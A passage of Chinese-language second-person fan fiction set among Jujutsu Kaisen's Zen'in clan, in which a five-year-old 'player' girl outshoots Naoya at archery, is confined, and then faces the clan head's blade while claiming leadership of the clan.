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,”他抬了抬下巴,用眼神示意你跟上,“不会看眼色吗?跟上。”
禅院直哉转身,羽织下摆划出冷淡的弧度,仿佛笃定你会服从,转身朝着射场另一边的园林走去。
两个跟班立刻紧随其后。
哇,你好久没见到这么封建味的小登了,你怀着微妙的心情跟上,背影甚至显得有点乐颠颠。
禅院直哉侧眼看着你不成礼数的步伐,嗤笑一声。
内庭演武场。
几个年纪稍长的少年正在场边擦拭咒具,见他带来一个戴面具的小女孩,纷纷投来视线。
“哟,直哉,这又是哪一出?”
禅院直哉没理会,径直走到一个箭靶前,下巴朝你的方向抬了抬,对旁边侍立的下人道:“给她摆好。”
你半推半就来到一个箭靶子面前,你没有拒绝,因为你实在太好奇了,好奇这个封建小登到底会做出什么来。
旁边有侍从强迫你在箭靶前摆成一个“大”字,手上,肩膀上,头上都分别顶着一个个鲜艳欲滴的苹果。
“直哉少爷,这……不好吧?万一……”
“哼。”禅院直哉接过旁人递来的轻弓,随手试了试弦,“叫你射箭,你就射。不然你去顶替她?”
“直哉,他这胆小鬼不敢,我来!”
周围响起一阵哄笑声。
禅院直哉没反对,只是抬了抬下巴。
箭矢“咻咻”地射出两只,分别击中了你左右手上的苹果。
“漂亮!”他得意地扬了扬弓,见好就收,将位置让回给禅院直哉,“直哉,接下来就看你的了,肩膀和头顶的,可得准头更好才行。”
禅院直哉接过旁边人递来的弓,慢条斯理地试了试弦,他搭上一支黑羽箭,手臂平举,微眯起一只眼。
弓弦缓缓拉满,发出细微的紧绷声。
咻——砰!
肩膀上的苹果滚落在地,箭尾微微震颤。
他嘴角几不可察地勾了勾,似乎对自己的表现还算满意,准星缓缓上移,划过你颈侧散落的几缕黑发,擦过你毫无反应的耳垂轮廓,视线不自觉的顿了顿,最终定格在你头顶那颗鲜红欲滴的苹果上。
弓弦绷得更紧,周围几个男孩屏住了呼吸,眼神里混合着兴奋与一丝不易察觉的紧张。
禅院直哉的站姿却似乎放松了一些。他透过箭簇看着你,看着你依旧微垂的头,心里那股莫名烦躁的情绪翻滚着。
这样……总该知道怕了吧?
只要她现在……好声好气地开口求求本少爷,本少爷也不是不能放她一马。
他的视线不自觉地从苹果移开了一瞬,对上了你面具上那两个黑洞般的眼孔。
肌肉颤动了一下,他搭在弦上的手指忽的松开了。
“咻”
“不、”禅院直哉自己都未反应过来,一声短促的惊呼已脱口而出。
黑羽箭脱弦而出,速度比之前任何一箭都快,精准地射向你面具上右眼的位置。
他看到那支致命的箭矢在你眼前急速放大。
他看到你……极其轻易地将脸向左侧偏转了一个微小的角度。
箭矢擦着你的面具边缘掠过,深深没入你身后的木架,箭尾发出高频的嗡鸣。
禅院直哉紧绷的身体骤然一松,他甚至还没来得及品味这点刚涌上来的高兴,就先一步听到了你的嗤笑声。
很轻,很细微,几乎淹没在箭尾的颤音里,但他还是听到了。
禅院直哉瞳孔放大,愤怒爬上了他的脸颊。
“你——!”
咻!
更快的箭射了过来,从你的方向。
然后,“咄”的一声闷响。
几缕被劲风割断的金发,缓缓飘落。
禅院直哉僵在原地,维持着那个微微偏头,瞳孔放大的姿势,脸上所有表情全部消失,只剩下一片空白的骇然。
他甚至能感觉到,箭尖掠过时,皮肤上传来的冰凉的触感,只差一毫米,这只箭就会射爆他的眼球。
演武场死一般寂静。
你头顶那颗苹果,不知何时已落入你摊开的右手中,完好无损。
你捏着苹果,放在嘴边轻轻地咬了一口。
“咔嚓”
16. 第 16 章
一个跟班最先反应过来,脸色铁青地上前一步,你头也没抬,从地面散落的箭矢里捡了一支箭,搭上不知何时已握在手里的弓。
咻!
箭矢擦着那跟班的脚尖钉入地面,他的动作僵住。
“你最好不要动哦。”你好心提醒禅院直哉。
第一支、第二支……箭矢接连飞出,紧密地沿着他身体的轮廓钉入树干。
他被迫维持着那个微微偏头的姿势,连手指都无法动弹,金发被箭风带得凌乱。
最后一只箭射到离他□□几厘米处。
当然,这是你的恶趣味。
禅院直哉感觉□□一凉,随之而来的是难以言喻的羞愤,他整张小脸蛋瞬间涨得通红,一路蔓延到耳尖,连脖颈都泛起了粉色,胸膛剧烈起伏,他死死咬住下唇,嘴唇颤抖,说不出话来。
“现在,”你问,“还有谁要来射箭?”
无人应答。
你忽然把箭尖转向刚才射箭的那个男孩,“哦,差点忘了你了。”
【五岁:你的举动惊动了禅院家部分长老。】
禅院直哉跪坐在父亲面前,眼眶通红,羞耻得耳尖都在发红,他带着哭腔控诉:“她、她竟敢如此羞辱我,呜呜呜,用箭、用箭指着我,父亲,您一定要严惩她!呜……”
禅院直哉手指抠进膝盖的衣料,浑身像是被凌侮了一样发抖,眼泪一滴一滴下落,他从来没有被人这样羞辱过!
他一边啜泣一边诅咒你,想着绝对要你好看,恶毒地诅咒你这辈子都嫁不出去!
禅院直毘人慢悠悠地喝了口酒,眼中闪过一丝讶异。
他这眼高于顶的儿子,居然也有被人欺负到告状的一天?还是被个没觉醒术式的小丫头?
“行了行了,”他摆摆手,语气随意,“知道了,我会处置。”
“是谁?”
“禅院华子!那个偏院的庶女。”禅院直哉咬牙切齿地说出你的名字。
禅院直毘人摸着胡须的动作微微一顿。
“……那个小丫头?”他眼神微妙起来。
“我知道了。”他点点头,又看向儿子,语气里带上的敲打,“不过直哉,你居然被一个连术式都没觉醒的丫头逼到这份上……看来平日的训练,还得抓紧。”
禅院直哉低下头,不甘地攥紧拳头:“知、知道了。”
室内安静了片刻。
“你之前是不是说过,想要个侍妾?”
“什么?”禅院直哉眼神疑惑。
“不,没事了。”
“怎么会没事!?”禅院兰太在狭窄的庭院里来回踱步,脸色苍白。
他猛地停下,抓住你的肩膀,力道失控,“长老们决定了要关你禁闭。”
你被他抓得微微蹙眉,“哥哥,你弄疼我了。”
“抱歉,华子!”他像被烫到般松开手,声音放轻,“告诉哥哥,到底发生什么事了?”
你耐着性子,稍微描述了一下。
他听完,脸色更白,却立刻拉起你的手:“华子,我们现在就去给直哉少爷他们道歉。”
他慌忙地在屋子里乱翻,“这是我攒的一级咒具,还有上次任务得的茶叶,他们一定会原谅我们的。”
他语无伦次,眼圈发红:“都怪哥哥,没有教好你,华子别害怕,哥哥会陪你一起。”
你看着他着急地又忍不住抓你的肩
“嗯,都怪哥哥哦。”
禅院兰太一愣,怀疑自己听错了:“什、什么?”
你趁机挣脱他的手,撒娇着细数,“都是哥哥的错嘛,哥哥实在太弱了。”
“哥哥你怎么这么弱呢,弱到他们居然都敢欺负我,弱到只能我一个人打拼去想办法成为禅院家主,但是弱就算了,你还想让华子大人去道歉。”
“我、我太弱了?”
“对哦,你很弱。”你微笑地赞同他。
看着他那副摇摇欲坠的模样,你忽然又觉得有点无趣,算了,谁让他是你哥哥呢。
你踮起脚摸摸他的头,像是在哄一个不懂事的孩子:“好哥哥,弱哥哥,玩家看在你还算为我着想的份上,就不怪你了,一切交给华子就可以了,要好好听玩家大人的话哦,不要捣乱哦。”
你搓搓他呆滞的脸,转身向外走去。
【五岁:你被关禁闭了。】
禁闭室比地牢稍好,至少干燥,有扇钉着木条的高窗。
一个月,处罚轻得出乎你意料。
你盘腿坐在蒲团上,透过木条缝隙看窗外移动的云影,这次“冲突”让你对禅院家下一代有了粗略评估:傲慢、刻板、内部倾轧、色厉内荏。
作为未来家主,你感到一丝头疼:手下质量堪忧啊。
而且竞争对手家主儿子就这水平?
纸门被无声拉开,来人披着深色羽织,手里拎着酒葫芦,下巴上的胡子一如既往地乱翘,是禅院直毘人。
你转过头,面具后的眼睛眨了眨,露出惊讶的表情:家主亲自来禁闭室?
他被你这副样子逗乐了,哈哈笑了两声,自顾自在你对面坐下,“怎么,见到我很惊讶?”
“禅院家主这么闲吗?”
说着,你竟真的开始思索起“成为家主后是不是也能这么随意溜达”的可能性。
“啊,还好。”他拔开葫芦塞,灌了一口,随意道,“把麻烦事丢给那群老家伙就行。”
他抹了把嘴,目光落在你脸上的面具上,“不好奇我为什么来?”
“我是不是该说好奇?”你反问。
“哈哈哈,”他又笑起来,眼角的皱纹堆起,“小丫头嘴上也吃不得一点亏。”
笑声收敛得很快,他放下酒葫芦,身体微微前倾,那双总是半醉半醒的眼睛里,锐光一闪而过。
“你从哪里学的箭术?还有你插的花,差点连我也被惊讶到了呢。”
空气安静了一瞬。
“照理说,”禅院直毘人手指敲了敲膝盖,语气沉下去,带着无形的压力,“我应该把你交给人审讯,毕竟,你只是一个五岁没有术式的庶女。”
你静静听着。
“但是,”他摊开手,做了个略显滑稽的无奈姿势,“我怎么都下不了这个命令。”
他脸上那种惯常的爽朗像潮水般褪去,冷漠阴沉,目光刺向你面具上的空洞。
“你的脸,”他慢慢说,每个字都清晰无比,“真是厉害呢。”
你歪了歪头:“难道我不能是天才?”
“咕咚。”他又灌了一大口酒,喉结滚动,“哈哈哈,天才?你和直哉那小子比起来,射箭上确实算是个小天才。”
你没有接话。你习惯于顺其自然发展一个周目,不到绝境一般不会回档,也不想没头没脑地直接进入bad ending。
禅院直毘人忽然动了。
动作很快,他抽出随身携带的刀,然后,手臂伸展,刀尖稳稳地抵在了你的脖颈上。
皮肤传来冰凉的触感。
“你,”他盯着你,手腕几不可察地颤抖着,脸上再无半点酒意或随意,只剩下属于禅院家
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主的审视,“一点也不像禅院家养出来的丫头。”
刀锋微微压下。
“说,你是什么东西?”
后背窜过一阵细微的战栗,不是恐惧,而是兴奋,冰凉的沿着脊椎爬升的刺激感。
这就是你想要的啊,不仅仅只是简单地通关游戏,你追逐的是游戏里的激情,是那种陷入绝境的紧张与刺激。
你知道如果如果下一句回答得不好的话,你可能直接会进入死亡ed。
你轻轻笑了一下,声音透过面具,有些闷。
“如果我现在摘下面具,”你问,“你会杀了我吗?”
禅院直毘人沉默了片刻。
“会。”他回答,没有犹豫。
你慢慢抬起手,没有去碰面具,而是轻轻覆上了他手腕上的脉搏。
“我是禅院华子。”你开口,声音清晰,“你应该知晓的,不是吗?从出生开始,呼吸着禅院家的空气,住在那个最偏僻的院子里。吃着禅院家的米,穿着禅院家的布。”
刀锋没有离开。
“我从来不是什么怪物,我是禅院家的人。”你黑瞳透过面具,直视他的眼睛,“难道只因为我天生的容貌,我不同于众人的天赋,你就要将我杀死?禅院家什么时候轮到弱者来指责强者了?”
你略微提高了声音:“术师,咒术界,难道不是强者为尊吗?!”
禅院直毘人:“是,废物没有选择权。”
“那么,”你语速加快,“我无端受到挑衅,不反抗,难道反而要对施暴的弱者卑躬屈膝?这就是禅院家的‘礼数’?”
“你眼中从未有禅院嫡系,从未有家族礼法。”他声音更冷。
“在场二十余人!”你忽然厉声反问,脖颈微微前倾,刀锋划破皮肤,一丝红线渗出,“有一人敢真正站出来反抗我吗?!有一人展现出配得上嫡系之名的胆魄与能力吗?!”
鲜血温热,沿着脖颈滑入衣领。
你无视那点刺痛,声音因激动而带着孩童特有的尖利,却字字诛心:“禅院家下一代就是如此懦弱!您引以为傲的嫡系?您寄予厚望的儿子——哈!”
“你——!”禅院直毘人手腕猛地绷紧,刀锋切入更深。
剧痛传来,你双手猛地握住他手中的刀锋,细小的手掌瞬间被刀刃割破,温热的血涌出,落在地面上绽开暗红的花。
疼痛让你呼吸一窒,却咧开嘴,笑了起来,面具遮挡了表情,但笑声里的疯狂与笃定却清晰无比。
“禅院直毘人!”你几乎是用气音在嘶喊,混合着血气,“你看看他们!看看这个禅院家!无人敢反抗规则,无人敢质疑腐朽!体系臃肿死板,下一代耽于内斗,懦弱无能!禅院家交到他们手中迟早会灭亡!”
你手上用力,鲜血淋漓,却死死抵住他的刀,黑瞳在昏暗中亮得骇人:
“不若——”
“把禅院家交到我的手中!”
声音斩钉截铁,带着不顾一切的狂气与一种奇异的、令人心悸的蛊惑力。
“我将碾碎所有怯懦与腐朽,”你盯着他骤然收缩的瞳孔,一字一顿,如同立下束缚,
“带领禅院——”
“掌控整个咒术界!”
话音落下。
禁闭室内,死寂无声,只有鲜血滴落的轻响,嗒,嗒。
禅院直毘人持刀的手,僵在半空,刀锋仍嵌在你脖颈皮肉间,血线蜿蜒,他脸上所有表情都消失了,只是死死地看着你,看着你染血的手,看着你面具后那双燃烧般,仿佛要吞噬一切的黑瞳。